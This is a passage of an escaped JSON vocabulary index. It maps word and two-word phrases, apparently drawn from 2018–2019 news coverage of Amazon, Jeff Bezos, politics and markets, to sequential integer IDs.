\"theatrical\": 220383,\n  \"bezos mixed\": 220384,\n  \"companies 19th\": 220385,\n  \"confirms collusion\": 220386,\n  \"amazon date\": 220387,\n  \"mclaughlin carly\": 220388,\n  \"argued hero\": 220389,\n  \"just \\u014261\": 220390,\n  \"films amazon\": 220391,\n  \"giveaways\": 220392,\n  \"katie notopoulos\": 220393,\n  \"row seat\": 220394,\n  \"carrier footprint\": 220395,\n  \"china rose\": 220396,\n  \"advertisements twitter\": 220397,\n  \"fired james\": 220398,\n  \"pt dec\": 220399,\n  \"epitomizes surveillance\": 220400,\n  \"defence department\": 220401,\n  \"year trend\": 220402,\n  \"nbsptrump says\": 220403,\n  \"half day\": 220404,\n  \"questions raised\": 220405,\n  \"trump saved\": 220406,\n  \"target anytime\": 220407,\n  \"fox new\": 220408,\n  \"amazon oracle\": 220409,\n  \"involving violations\": 220410,\n  \"bible classes\": 220411,\n  \"sanchez met\": 220412,\n  \"kessler book\": 220413,\n  \"industrial index\": 220414,\n  \"tax list\": 220415,\n  \"mean imagine\": 220416,\n  \"38m\": 220417,\n  \"declining\": 220418,\n  \"especially sensitive\": 220419,\n  \"low unemployment\": 220420,\n  \"little did\": 220421,\n  \"mainstream students\": 220422,\n  \"sale beginning\": 220423,\n  \"executives 41st\": 220424,\n  \"economy economists\": 220425,\n  \"expansion\": 220426,\n  \"eckhart isabelle\": 220427,\n  \"volume ken\": 220428,\n  \"things looking\": 220429,\n  \"images words\": 220430,\n  \"premarket gains\": 220431,\n  \"brand recognition\": 220432,\n  \"mall temporarily\": 220433,\n  \"diaper prices\": 220434,\n  \"blown war\": 220435,\n  \"ad just\": 220436,\n  \"allowing brands\": 220437,\n  \"flight firm\": 220438,\n  \"comment election\": 220439,\n  \"contractors work\": 220440,\n  \"ms kang\": 220441,\n  \"google does\": 220442,\n  \"palestine conflict\": 220443,\n  \"include hacking\": 220444,\n  \"second story\": 220445,\n  \"disbelief\": 220446,\n  \"snipes accusing\": 220447,\n  \"warehouses images\": 220448,\n  \"st kitts\": 220449,\n  \"absolutely worth\": 220450,\n  \"business columnist\": 220451,\n  \"removes fake\": 220452,\n  \"schumer buyback\": 220453,\n  \"king read\": 220454,\n  \"messages suddenly\": 220455,\n  \"heavy metals\": 220456,\n  \"casual chef\": 220457,\n  \"david nakamura\": 220458,\n  \"richer cities\": 220459,\n  \"gilchrist sam\": 220460,\n  \"chastises trump\": 220461,\n  \"vitiello\": 220462,\n  \"delete reference\": 220463,\n  \"justin prentice\": 220464,\n  \"schools housing\": 220465,\n  \"locked door\": 220466,\n  \"trudeau\": 220467,\n  \"square mile\": 220468,\n  \"unfair competition\": 220469,\n  \"people perception\": 220470,\n  \"seller overall\": 220471,\n  \"pretzel\": 220472,\n  \"href\": 220473,\n  \"100m people\": 220474,\n  \"policy head\": 220475,\n  \"maneuver right\": 220476,\n  \"live did\": 220477,\n  \"heart stopping\": 220478,\n  \"spokesperson tagay\": 220479,\n  \"say wealth\": 220480,\n  \"question ahead\": 220481,\n  \"milutinovic\": 220482,\n  \"accent ethnic\": 220483,\n  \"uploads 2015\": 220484,\n  \"genealogy\": 220485,\n  \"outdoor crossbody\": 220486,\n  \"representing john\": 220487,\n  \"sen dianne\": 220488,\n  \"punches makes\": 220489,\n  \"fbi surveillance\": 220490,\n  \"scheduled conference\": 220491,\n  \"behaved kind\": 220492,\n  \"life ryan\": 220493,\n  \"glass house\": 220494,\n  \"estimates shares\": 220495,\n  \"neocolonial power\": 220496,\n  \"seattle crippling\": 220497,\n  \"middle age\": 220498,\n  \"thank based\": 220499,\n  \"provoke\": 220500,\n  \"longer speak\": 220501,\n  \"loan guidance\": 220502,\n  \"corporate entity\": 220503,\n  \"reach record\": 220504,\n  \"operationally colorful\": 220505,\n  \"ahead thanksgiving\": 220506,\n  \"news things\": 220507,\n  \"killed\": 220508,\n  \"56966\": 220509,\n  \"possible fatal\": 220510,\n  \"jeff andrews\": 220511,\n  \"best entry\": 220512,\n  \"union behavior\": 220513,\n  \"remains muted\": 220514,\n  \"cookbook kind\": 220515,\n  \"development plan\": 220516,\n  \"beast jessica\": 220517,\n  \"uk opens\": 220518,\n  \"haruki\": 220519,\n  \"press credential\": 220520,\n  \"tussles\": 220521,\n  \"step saying\": 220522,\n  \"pillpack sells\": 220523,\n  \"reuters alaraby\": 220524,\n  \"penn plays\": 220525,\n  \"size age\": 220526,\n  \"buffett asserted\": 220527,\n  \"neared mexico\": 220528,\n  \"allow president\": 220529,\n  \"9c59\": 220530,\n  \"investors earlier\": 220531,\n  \"critics deemed\": 220532,\n  \"yes look\": 220533,\n  \"korean officials\": 220534,\n  \"included private\": 220535,\n  \"arch enemy\": 220536,\n  \"department portion\": 220537,\n  \"giants currently\": 220538,\n  \"chico\": 220539,\n  \"known divorce\": 220540,\n  \"chip sector\": 220541,\n  \"news today\": 220542,\n  \"sent 420\": 220543,\n  \"case study\": 220544,\n  \"foreseeable future\": 220545,\n  \"small los\": 220546,\n  \"weare\": 220547,\n  \"prominent critics\": 220548,\n  \"howard tried\": 220549,\n  \"pano inc_image_caption_override\": 220550,\n  \"alibaba expects\": 220551,\n  \"lobbying members\": 220552,\n  \"heroin epidemic\": 220553,\n  \"maker begin\": 220554,\n  \"fanhua\": 220555,\n  \"st amazon\": 220556,\n  \"technology senate\": 220557,\n  \"glass pipe\": 220558,\n  \"red state\": 220559,\n  \"going inaudible\": 220560,\n  \"cringing\": 220561,\n  \"doctrine views\": 220562,\n  \"delong inventions\": 220563,\n  \"cnbc reported\": 220564,\n  \"negative attitude\": 220565,\n  \"time rich\": 220566,\n  \"copy mark\": 220567,\n  \"dummy\": 220568,\n  \"false designation\": 220569,\n  \"dire future\": 220570,\n  \"mcelhone\": 220571,\n  \"kind thank\": 220572,\n  \"prudential\": 220573,\n  \"connection read\": 220574,\n  \"unbalanced budgets\": 220575,\n  \"lines including\": 220576,\n  \"journal published\": 220577,\n  \"star hulu\": 220578,\n  \"libtards\": 220579,\n  \"bamco new\": 220580,\n  \"shootings\": 220581,\n  \"royal watching\": 220582,\n  \"nashville hub\": 220583,\n  \"manage margins\": 220584,\n  \"cctv\": 220585,\n  \"information 2018\": 220586,\n  \"deb haaland\": 220587,\n  \"produced earnings\": 220588,\n  \"service unveiled\": 220589,\n  \"don necessarily\": 220590,\n  \"rye\": 220591,\n  \"motorola mobility\": 220592,\n  \"magazine david\": 220593,\n  \"depend heavily\": 220594,\n  \"email allegedly\": 220595,\n  \"brings\": 220596,\n  \"shippers pay\": 220597,\n  \"pay rate\": 220598,\n  \"think hit\": 220599,\n  \"hand win\": 220600,\n  \"competition resulting\": 220601,\n  \"stop fighting\": 220602,\n  \"vinny\": 220603,\n  \"default vendor\": 220604,\n  \"noticed steady\": 220605,\n  \"foreign power\": 220606,\n  \"recent midterm\": 220607,\n  \"miranda green\": 220608,\n  \"a4ee k0\": 220609,\n  \"jermaine dupri\": 220610,\n  \"amazon smb\": 220611,\n  \"equalizing fund\": 220612,\n  \"unique national\": 220613,\n  \"gooey\": 220614,\n  \"clearly helping\": 220615,\n  \"offers pro\": 220616,\n  \"signature phrase\": 220617,\n  \"huge sequential\": 220618,\n  \"box office\": 220619,\n  \"candy hair\": 220620,\n  \"unheeded\": 220621,\n  \"interview schiff\": 220622,\n  \"tax tariff\": 220623,\n  \"firm vans\": 220624,\n  \"senate voted\": 220625,\n  \"hrrr\": 220626,\n  \"retailers selling\": 220627,\n  \"amazon rafael\": 220628,\n  \"blazingly funny\": 220629,\n  \"status 1091395001987194880\": 220630,\n  \"ceo decision\": 220631,\n  \"jeran\": 220632,\n  \"biographer michael\": 220633,\n  \"kth ac\": 220634,\n  \"purina cat\": 220635,\n  \"president opinion\": 220636,\n  \"fashion advertising\": 220637,\n  \"bezos points\": 220638,\n  \"doesn trust\": 220639,\n  \"lowell\": 220640,\n  \"prices ofstamps\": 220641,\n  \"getting food\": 220642,\n  \"seductively\": 220643,\n  \"provide delivery\": 220644,\n  \"alcoa aa\": 220645,\n  \"housing issues\": 220646,\n  \"usa alcoa\": 220647,\n  \"citing 2015\": 220648,\n  \"ventilation\": 220649,\n  \"tomatoes guarantee\": 220650,\n  \"stripping\": 220651,\n  \"retail bank\": 220652,\n  \"endeavor\": 220653,\n  \"world believed\": 220654,\n  \"reading platform\": 220655,\n  \"pet rescue\": 220656,\n  \"federation\": 220657,\n  \"cohon chairman\": 220658,\n  \"safety protections\": 220659,\n  \"wearing purple\": 220660,\n  \"property empire\": 220661,\n  \"seemingly promoted\": 220662,\n  \"company dipping\": 220663,\n  \"michael blake\": 220664,\n  \"marxist conspiracy\": 220665,\n  \"c9x\": 220666,\n  \"trump reassuring\": 220667,\n  \"manhattan survivor\": 220668,\n  \"cnn trump\": 220669,\n  \"a4ee q0\": 220670,\n  \"lethem\": 220671,\n  \"reserved tickets\": 220672,\n  \"pullout new\": 220673,\n  \"retaking\": 220674,\n  \"limousines road\": 220675,\n  \"launched series\": 220676,\n  \"moral high\": 220677,\n  \"disruption\": 220678,\n  \"salsa\": 220679,\n  \"offer calling\": 220680,\n  \"passages aretha\": 220681,\n  \"leguizamo\": 220682,\n  \"totake\": 220683,\n  \"mixed phil\": 220684,\n  \"emails jeff\": 220685,\n  \"party epitomized\": 220686,\n  \"yeah martin\": 220687,\n  \"nov read\": 220688,\n  \"power struggle01\": 220689,\n  \"devastating statistic\": 220690,\n  \"existing racist\": 220691,\n  \"identity verification\": 220692,\n  \"according\": 220693,\n  \"deer caught\": 220694,\n  \"crunch\": 220695,\n  \"040 shares\": 220696,\n  \"tomorrow john\": 220697,\n  \"ceo shared\": 220698,\n  \"suppliers amazon\": 220699,\n  \"plague afghan\": 220700,\n  \"potential obstruction\": 220701,\n  \"story twitter\": 220702,\n  \"guaranteed monthly\": 220703,\n  \"new policy\": 220704,\n  \"justin flom\": 220705,\n  \"wait\": 220706,\n  \"nwdcresistance\": 220707,\n  \"interview referring\": 220708,\n  \"1987\": 220709,\n  \"inflated heads\": 220710,\n  \"wsj new\": 220711,\n  \"benefits received\": 220712,\n  \"details hinge\": 220713,\n  \"bark\": 220714,\n  \"sputnik president\": 220715,\n  \"000 km\\u00b2\": 220716,\n  \"president refusal\": 220717,\n  \"year barely\": 220718,\n  \"rate location\": 220719,\n  \"babysitting\": 220720,\n  \"gold sponsors\": 220721,\n  \"form near\": 220722,\n  \"funny novelties\": 220723,\n  \"candour\": 220724,\n  \"splinter reported\": 220725,\n  \"newsagency reuters\": 220726,\n  \"advertisment\": 220727,\n  \"aggressive lobbying\": 220728,\n  \"greene correctional\": 220729,\n  \"urus suv\": 220730,\n  \"recruits virginia\": 220731,\n  \"receive taxpayer\": 220732,\n  \"trump insane\": 220733,\n  \"propaganda trump\": 220734,\n  \"hollywood stars\": 220735,\n  \"chavie lieber\": 220736,\n  \"6gb\": 220737,\n  \"000 griffeth\": 220738,\n  \"trump announces\": 220739,\n  \"sorts cc\": 220740,\n  \"big set\": 220741,\n  \"fine literature\": 220742,\n  \"democratic priorities\": 220743,\n  \"hand machinations\": 220744,\n  \"citizen immigrant\": 220745,\n  \"voting twitter\": 220746,\n  \"hissing\": 220747,\n  \"hysteria\": 220748,\n  \"2018 media\": 220749,\n  \"specifically frei\": 220750,\n  \"eluded\": 220751,\n  \"health battle\": 220752,\n  \"onewest involvement\": 220753,\n  \"actually smaller\": 220754,\n  \"original sketch\": 220755,\n  \"intense criticism\": 220756,\n  \"meatless complete\": 220757,\n  \"checkups\": 220758,\n  \"news conversely\": 220759,\n  \"british intelligence\": 220760,\n  \"skift article\": 220761,\n  \"embarrassing news\": 220762,\n  \"coat factory\": 220763,\n  \"richest title\": 220764,\n  \"2018 results\": 220765,\n  \"campaign group\": 220766,\n  \"identities health\": 220767,\n  \"avoid cold\": 220768,\n  \"budget items\": 220769,\n  \"lovers amazon\": 220770,\n  \"final question\": 220771,\n  \"training video\": 220772,\n  \"pro nazi\": 220773,\n  \"thompson argued\": 220774,\n  \"hoffmann dunkin\": 220775,\n  \"told ians\": 220776,\n  \"oldest\": 220777,\n  \"voters wages\": 220778,\n  \"verdict morning\": 220779,\n  \"clinton secret\": 220780,\n  \"practices investigations\": 220781,\n  \"internal watchdog\": 220782,\n  \"gaetz fla\": 220783,\n  \"organization responding\": 220784,\n  \"read books\": 220785,\n  \"stanley negativity\": 220786,\n  \"quick google\": 220787,\n  \"inbound house\": 220788,\n  \"premier hosts\": 220789,\n  \"postal affairs\": 220790,\n  \"true outsider\": 220791,\n  \"presentation google\": 220792,\n  \"downbeat finish\": 220793,\n  \"launch center\": 220794,\n  \"having second\": 220795,\n  \"firm data\": 220796,\n  \"won bid\": 220797,\n  \"union antitrust\": 220798,\n  \"continents\": 220799,\n  \"tagged icons\": 220800,\n  \"building new\": 220801,\n  \"food video\": 220802,\n  \"heroic president\": 220803,\n  \"panel sanders\": 220804,\n  \"capture plans\": 220805,\n  \"stores including\": 220806,\n  \"slang\": 220807,\n  \"register reported\": 220808,\n  \"provide cloud\": 220809,\n  \"smell\": 220810,\n  \"worker anti\": 220811,\n  \"haddish reveals\": 220812,\n  \"suspenseful\": 220813,\n  \"following days\": 220814,\n  \"nonprofit partnership\": 220815,\n  \"extra publicity\": 220816,\n  \"wireimage new\": 220817,\n  \"flagged\": 220818,\n  \"ensure profitability\": 220819,\n  \"crude inventories\": 220820,\n  \"view camp\": 220821,\n  \"smocking gun\": 220822,\n  \"right delete\": 220823,\n  \"make various\": 220824,\n  \"portfolio\": 220825,\n  \"pirated products\": 220826,\n  \"world seeing\": 220827,\n  \"inability\": 220828,\n  \"food shipping\": 220829,\n  \"married americans\": 220830,\n  \"cantillon\": 220831,\n  \"political sphere\": 220832,\n  \"investor losses\": 220833,\n  \"immediate help\": 220834,\n  \"break competitor\": 220835,\n  \"climate tipping\": 220836,\n  \"joe klein\": 220837,\n  \"000 company\": 220838,\n  \"surveillance\": 220839,\n  \"viewform authorimage\": 220840,\n  \"races new\": 220841,\n  \"ushered slew\": 220842,\n  \"brings justice\": 220843,\n  \"newsstands\": 220844,\n  \"becker naturally\": 220845,\n  \"company wages\": 220846,\n  \"giant current\": 220847,\n  \"south koreans\": 220848,\n  \"observed moment\": 220849,\n  \"hardest things\": 220850,\n  \"deportation policies\": 220851,\n  \"collection duties\": 220852,\n  \"website madcap\": 220853,\n  \"nunes\": 220854,\n  \"sharing systems\": 220855,\n  \"trump zeal\": 220856,\n  \"explosive post\": 220857,\n  \"facilitate\": 220858,\n  \"100 trillion\": 220859,\n  \"wallbridge mining\": 220860,\n  \"yorkers stepped\": 220861,\n  \"enforcement palantir\": 220862,\n  \"china amazon\": 220863,\n  \"rai trump\": 220864,\n  \"lawful prices\": 220865,\n  \"states currently\": 220866,\n  \"inducing tweet\": 220867,\n  \"senior manager\": 220868,\n  \"dog sully\": 220869,\n  \"investors worry\": 220870,\n  \"wing information\": 220871,\n  \"people usually\": 220872,\n  \"criticism figures\": 220873,\n  \"complaints multiply\": 220874,\n  \"decisions reached\": 220875,\n  \"later supermodel\": 220876,\n  \"barb accusing\": 220877,\n  \"years pumping\": 220878,\n  \"content spin\": 220879,\n  \"home adchoices\": 220880,\n  \"torel strongly\": 220881,\n  \"chapter elevens\": 220882,\n  \"sent racy\": 220883,\n  \"fairly innocuous\": 220884,\n  \"schmidt college\": 220885,\n  \"dysfunction president\": 220886,\n  \"company refers\": 220887,\n  \"pitting communities\": 220888,\n  \"reported stories\": 220889,\n  \"uniquely american\": 220890,\n  \"including legislation\": 220891,\n  \"excellent question\": 220892,\n  \"floundering washington\": 220893,\n  \"says wage\": 220894,\n  \"american women\": 220895,\n  \"street role\": 220896,\n  \"public attractions\": 220897,\n  \"relatively meekly\": 220898,\n  \"mod hp_lead_pos1\": 220899,\n  \"employee earns\": 220900,\n  \"know doj\": 220901,\n  \"intrigue 2018\": 220902,\n  \"officials earlier\": 220903,\n  \"sessions white\": 220904,\n  \"freedom thought\": 220905,\n  \"rootless\": 220906,\n  \"exemption plan\": 220907,\n  \"based google\": 220908,\n  \"power city\": 220909,\n  \"obamagate\": 220910,\n  \"financial bank\": 220911,\n  \"france germany\": 220912,\n  \"conservative districts\": 220913,\n  \"shrouded incentives\": 220914,\n  \"ubhi joined\": 220915,\n  \"year presidential\": 220916,\n  \"bombings\": 220917,\n  \"hoverboard\": 220918,\n  \"rancher bezos\": 220919,\n  \"essential providers\": 220920,\n  \"newspaper location\": 220921,\n  \"issue trump\": 220922,\n  \"best cleaning\": 220923,\n  \"tense atmosphere\": 220924,\n  \"list tooall\": 220925,\n  \"recruitment organization\": 220926,\n  \"server719402 articlepage\": 220927,\n  \"ishares\": 220928,\n  \"filing lengthy\": 220929,\n  \"rhetorical attack\": 220930,\n  \"incendiary remarks\": 220931,\n  \"region ailing\": 220932,\n  \"revelations journalist\": 220933,\n  \"considering law\": 220934,\n  \"whiteboard\": 220935,\n  \"tshisekedi sworn\": 220936,\n  \"available anytime\": 220937,\n  \"spy agencies\": 220938,\n  \"springing\": 220939,\n  \"instead staffers\": 220940,\n  \"toyota tm\": 220941,\n  \"multiple appeals\": 220942,\n  \"released 000\": 220943,\n  \"ballooned animal\": 220944,\n  \"infanticide\": 220945,\n  \"revealed yesterday\": 220946,\n  \"high winds\": 220947,\n  \"attractive business\": 220948,\n  \"involves transitioning\": 220949,\n  \"aides state\": 220950,\n  \"p2\": 220951,\n  \"olivier\": 220952,\n  \"voiced brilliantly\": 220953,\n  \"print reddit\": 220954,\n  \"tipster\": 220955,\n  \"tab grabbed\": 220956,\n  \"watchers northern\": 220957,\n  \"figure citi\": 220958,\n  \"literally amazon\": 220959,\n  \"content sumner\": 220960,\n  \"fish flesh\": 220961,\n  \"rep steve\": 220962,\n  \"evidence\": 220963,\n  \"alleged affairs\": 220964,\n  \"tariffs held\": 220965,\n  \"russia shadowy\": 220966,\n  \"glad bought\": 220967,\n  \"kill man\": 220968,\n  \"times sudan\": 220969,\n  \"publication national\": 220970,\n  \"reality augmented\": 220971,\n  \"immigration ban\": 220972,\n  \"harm nytimes\": 220973,\n  \"pok\\u00e9mon\": 220974,\n  \"uniform\": 220975,\n  \"california helping\": 220976,\n  \"sadly soon\": 220977,\n  \"source bank\": 220978,\n  \"apply r4ee\": 220979,\n  \"gudiel\": 220980,\n  \"422 286\": 220981,\n  \"brazenly blackmail\": 220982,\n  \"dress codes\": 220983,\n  \"happy birthday\": 220984,\n  \"controlling inflammatory\": 220985,\n  \"500 points\": 220986,\n  \"n\\u00e9e tuttle\": 220987,\n  \"dow boost\": 220988,\n  \"china provide\": 220989,\n  \"1029803793272250368 retail\": 220990,\n  \"letter reads\": 220991,\n  \"nonprofit partners\": 220992,\n  \"impact brazil\": 220993,\n  \"representative wrote\": 220994,\n  \"preorder\": 220995,\n  \"documented history\": 220996,\n  \"occurred\": 220997,\n  \"american migrants\": 220998,\n  \"favourite 1990\": 220999,\n  \"unyielding\": 221000,\n  \"brought giant\": 221001,\n  \"abolitionist\": 221002,\n  \"encountered fraudulent\": 221003,\n  \"ydanis rodriguez\": 221004,\n  \"paper money\": 221005,\n  \"nature humbled\": 221006,\n  \"pulpit\": 221007,\n  \"contracts surged\": 221008,\n  \"marconi job\": 221009,\n  \"wti benchmark\": 221010,\n  \"contemporary art\": 221011,\n  \"receipts flow\": 221012,\n  \"alexa smart\": 221013,\n  \"central issue\": 221014,\n  \"action clears\": 221015,\n  \"morning demonstrations\": 221016,\n  \"cnl_contenido_contenido_contenido_campa_contenido_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_corriente\": 221017,\n  \"vote job\": 221018,\n  \"blocks identified\": 221019,\n  \"built\": 221020,\n  \"called russia\": 221021,\n  \"guwahati unrelenting\": 221022,\n  \"industry lobbying\": 221023,\n  \"dennis levinson\": 221024,\n  \"blackrock larry\": 221025,\n  \"based mapping\": 221026,\n  \"girl minimum\": 221027,\n  \"phillips writes\": 221028,\n  \"perfumania cut\": 221029,\n  \"continuously link\": 221030,\n  \"recently spared\": 221031,\n  \"2017 tweeted\": 221032,\n  \"saudi connected\": 221033,\n  \"logistical partnerships\": 221034,\n  \"year cnn\": 221035,\n  \"conservative jeffrey\": 221036,\n  \"america 5g\": 221037,\n  \"t5q 192\": 221038,\n  \"provided jeff\": 221039,\n  \"admirable idea\": 221040,\n  \"carter paul\": 221041,\n  \"moving exploration\": 221042,\n  \"tax bailout\": 221043,\n  \"islam promoted\": 221044,\n  \"complete seasons\": 221045,\n  \"buy new\": 221046,\n  \"fees paid\": 221047,\n  \"emerged\": 221048,\n  \"jobs highly\": 221049,\n  \"requests virginia\": 221050,\n  \"statement retracting\": 221051,\n  \"glazer\": 221052,\n  \"pignolet reports\": 221053,\n  \"237 589\": 221054,\n  \"doesn quash\": 221055,\n  \"wasn competitive\": 221056,\n  \"terminally ill\": 221057,\n  \"offices incompetent\": 221058,\n  \"sarah jaffe\": 221059,\n  \"cover usa\": 221060,\n  \"ford testified\": 221061,\n  \"sustainability amazon\": 221062,\n  \"consumers reporting\": 221063,\n  \"phones industry\": 221064,\n  \"bookmark washington\": 221065,\n  \"emerging environmental\": 221066,\n  \"mro\": 221067,\n  \"fewer trillion\": 221068,\n  \"casting melissa\": 221069,\n  \"enquirer colleagues\": 221070,\n  \"diplomacy\": 221071,\n  \"global edelman\": 221072,\n  \"amazon event\": 221073,\n  \"new chain\": 221074,\n  \"sessions wait\": 221075,\n  \"wwii\": 221076,\n  \"smokey jo\": 221077,\n  \"biggest scandals\": 221078,\n  \"troubled years\": 221079,\n  \"kavanaugh suggested\": 221080,\n  \"bradbury farenheit\": 221081,\n  \"course amazon\": 221082,\n  \"competition film\": 221083,\n  \"overtime compensation\": 221084,\n  \"contractors participating\": 221085,\n  \"1958 manhattan\": 221086,\n  \"czech\": 221087,\n  \"prosecutors extends\": 221088,\n  \"shooting human\": 221089,\n  \"unclear trump\": 221090,\n  \"slight concerns\": 221091,\n  \"strong q4\": 221092,\n  \"fallon embedded\": 221093,\n  \"doppler\": 221094,\n  \"attention away\": 221095,\n  \"build support\": 221096,\n  \"hollywood figures\": 221097,\n  \"promoting illegal\": 221098,\n  \"sosnoff cap\": 221099,\n  \"typical worries\": 221100,\n  \"sanchez sanchez\": 221101,\n  \"chiefs reuters\": 221102,\n  \"incubator\": 221103,\n  \"reporting requirements\": 221104,\n  \"specific timetable\": 221105,\n  \"deal brokered\": 221106,\n  \"temperatures drop\": 221107,\n  \"dc federal\": 221108,\n  \"persisted\": 221109,\n  \"songwriter\": 221110,\n  \"similarity\": 221111,\n  \"cony barrett\": 221112,\n  \"prep recipes\": 221113,\n  \"devious practices\": 221114,\n  \"chris life\": 221115,\n  \"extraordinary episode\": 221116,\n  \"hosts media\": 221117,\n  \"74th percentile\": 221118,\n  \"intrigue surrounding\": 221119,\n  \"bora bora\": 221120,\n  \"modernizr mobile\": 221121,\n  \"anybody younger\": 221122,\n  \"split duties\": 221123,\n  \"points kate\": 221124,\n  \"local sporting\": 221125,\n  \"drama godless\": 221126,\n  \"new\": 221127,\n  \"underlying technology\": 221128,\n  \"weapons fromthe\": 221129,\n  \"complacent\": 221130,\n  \"garage\": 221131,\n  \"cashflow\": 221132,\n  \"including deliveries\": 221133,\n  \"brad younggren\": 221134,\n  \"motto\": 221135,\n  \"reuters la\": 221136,\n  \"streamlined\": 221137,\n  \"bicyclists\": 221138,\n  \"invigorate\": 221139,\n  \"paid break\": 221140,\n  \"cibc bankshares\": 221141,\n  \"extends pact\": 221142,\n  \"interim\": 221143,\n  \"contrast sounded\": 221144,\n  \"conjured river\": 221145,\n  \"watched teachers\": 221146,\n  \"bashar\": 221147,\n  \"marrero\": 221148,\n  \"family plus\": 221149,\n  \"combat money\": 221150,\n  \"list saying\": 221151,\n  \"espouse violence\": 221152,\n  \"today\": 221153,\n  \"p0 r4\": 221154,\n  \"blog aboutamazon\": 221155,\n  \"union pension\": 221156,\n  \"watson christopher\": 221157,\n  \"billionaire koch\": 221158,\n  \"hated cnn\": 221159,\n  \"tv providers\": 221160,\n  \"levi\": 221161,\n  \"incorrectly suggests\": 221162,\n  \"necessary services\": 221163,\n  \"portfolio covered\": 221164,\n  \"brexit hard\": 221165,\n  \"reported blue\": 221166,\n  \"amazon ultimately\": 221167,\n  \"turkey etf\": 221168,\n  \"tm richest\": 221169,\n  \"angela weiss\": 221170,\n  \"pharmacy pillpack\": 221171,\n  \"ideologically\": 221172,\n  \"fledgling\": 221173,\n  \"210 points\": 221174,\n  \"enterprise augmented\": 221175,\n  \"administration says\": 221176,\n  \"coordinated\": 221177,\n  \"actions nice\": 221178,\n  \"anyplace\": 221179,\n  \"analyst just\": 221180,\n  \"tax vendors\": 221181,\n  \"earning masters\": 221182,\n  \"nuclear treaty\": 221183,\n  \"hubbard authored\": 221184,\n  \"matched signatures\": 221185,\n  \"politics politics\": 221186,\n  \"actually pulling\": 221187,\n  \"alternative facts\": 221188,\n  \"proliferate ultimately\": 221189,\n  \"pentagon currently\": 221190,\n  \"nsa agreements\": 221191,\n  \"c000214761\": 221192,\n  \"zuker paul\": 221193,\n  \"fox rsn\": 221194,\n  \"dow weaker\": 221195,\n  \"icon advisers\": 221196,\n  \"causing significant\": 221197,\n  \"alabama senator\": 221198,\n  \"social security\": 221199,\n  \"heap\": 221200,\n  \"becky albertalli\": 221201,\n  \"senate finalizes\": 221202,\n  \"writes walmart\": 221203,\n  \"blimp releasing\": 221204,\n  \"doesn just\": 221205,\n  \"marketfoolery\": 221206,\n  \"amazon solved\": 221207,\n  \"aid efforts\": 221208,\n  \"implications telling\": 221209,\n  \"mentioned mccain\": 221210,\n  \"cramer says\": 221211,\n  \"minecraft minecraft\": 221212,\n  \"think daily\": 221213,\n  \"related diseases\": 221214,\n  \"lael\": 221215,\n  \"vendor manager\": 221216,\n  \"lsa\": 221217,\n  \"spending money\": 221218,\n  \"hostile trump\": 221219,\n  \"celtic mole\": 221220,\n  \"white police\": 221221,\n  \"aisne american\": 221222,\n  \"interactions\": 221223,\n  \"read hiring\": 221224,\n  \"bonus british\": 221225,\n  \"house tell\": 221226,\n  \"article utility\": 221227,\n  \"indiana ran\": 221228,\n  \"o9x\": 221229,\n  \"minecraft\": 221230,\n  \"capitulation\": 221231,\n  \"c0\": 221232,\n  \"daca program\": 221233,\n  \"outside management\": 221234,\n  \"shows potential\": 221235,\n  \"political advertiser\": 221236,\n  \"bigger trade\": 221237,\n  \"incentivize better\": 221238,\n  \"great indications\": 221239,\n  \"increases senior\": 221240,\n  \"nfl players\": 221241,\n  \"oxfam america\": 221242,\n  \"cabin republicans\": 221243,\n  \"story buying\": 221244,\n  \"new charity\": 221245,\n  \"fake items\": 221246,\n  \"fed chief\": 221247,\n  \"paying factory\": 221248,\n  \"notorious publication\": 221249,\n  \"today big\": 221250,\n  \"hurt consumers\": 221251,\n  \"reaped\": 221252,\n  \"figures\": 221253,\n  \"newspaper column\": 221254,\n  \"bros reference\": 221255,\n  \"virginia tax\": 221256,\n  \"working generation\": 221257,\n  \"human tragedies\": 221258,\n  \"immigration actions\": 221259,\n  \"studies cis\": 221260,\n  \"research grants\": 221261,\n  \"house chuck\": 221262,\n  \"taxes single\": 221263,\n  \"freeport\": 221264,\n  \"deals just\": 221265,\n  \"include netflix\": 221266,\n  \"construction projects\": 221267,\n  \"reported related\": 221268,\n  \"commercial mixed\": 221269,\n  \"meagre treasuries\": 221270,\n  \"russo\": 221271,\n  \"peddle\": 221272,\n  \"destroying traditional\": 221273,\n  \"matchups\": 221274,\n  \"brown kept\": 221275,\n  \"held sen\": 221276,\n  \"355 patents\": 221277,\n  \"covering meaningfully\": 221278,\n  \"conflicts busy\": 221279,\n  \"canada griffeth\": 221280,\n  \"midterms html\": 221281,\n  \"adil jawad\": 221282,\n  \"bolsonaro election\": 221283,\n  \"boomer1\": 221284,\n  \"wine loss\": 221285,\n  \"amazon draws\": 221286,\n  \"prefaced\": 221287,\n  \"seeking way\": 221288,\n  \"attacked\": 221289,\n  \"2018 sorry\": 221290,\n  \"mormon\": 221291,\n  \"pancakes\": 221292,\n  \"dealings trump\": 221293,\n  \"fraudulently breach\": 221294,\n  \"frazier healthcare\": 221295,\n  \"today jon\": 221296,\n  \"masters student\": 221297,\n  \"dji\": 221298,\n  \"massive lobbying\": 221299,\n  \"expedia\": 221300,\n  \"2019 rep\": 221301,\n  \"vendetta\": 221302,\n  \"nationals park\": 221303,\n  \"british tabloids\": 221304,\n  \"passed hb40\": 221305,\n  \"americans ignored\": 221306,\n  \"hadn fully\": 221307,\n  \"trade talks\": 221308,\n  \"job cuts\": 221309,\n  \"currently plans\": 221310,\n  \"carnage occasioned\": 221311,\n  \"people jan\": 221312,\n  \"amazon cheerleading\": 221313,\n  \"concat\": 221314,\n  \"based customers\": 221315,\n  \"utah sen\": 221316,\n  \"wildlife human\": 221317,\n  \"100m bezos\": 221318,\n  \"allocation shift\": 221319,\n  \"truly meaningful\": 221320,\n  \"increasingly rely\": 221321,\n  \"low netflix\": 221322,\n  \"2f2018\": 221323,\n  \"merchants using\": 221324,\n  \"google aided\": 221325,\n  \"grassroots progressives\": 221326,\n  \"commission estimated\": 221327,\n  \"veteran chicago\": 221328,\n  \"infrastructure trust\": 221329,\n  \"content big\": 221330,\n  \"chairman delivers\": 221331,\n  \"mighty hiking\": 221332,\n  \"financial position\": 221333,\n  \"impresario\": 221334,\n  \"shepard blue\": 221335,\n  \"hill global\": 221336,\n  \"estate industry\": 221337,\n  \"strategy managers\": 221338,\n  \"designations\": 221339,\n  \"flows\": 221340,\n  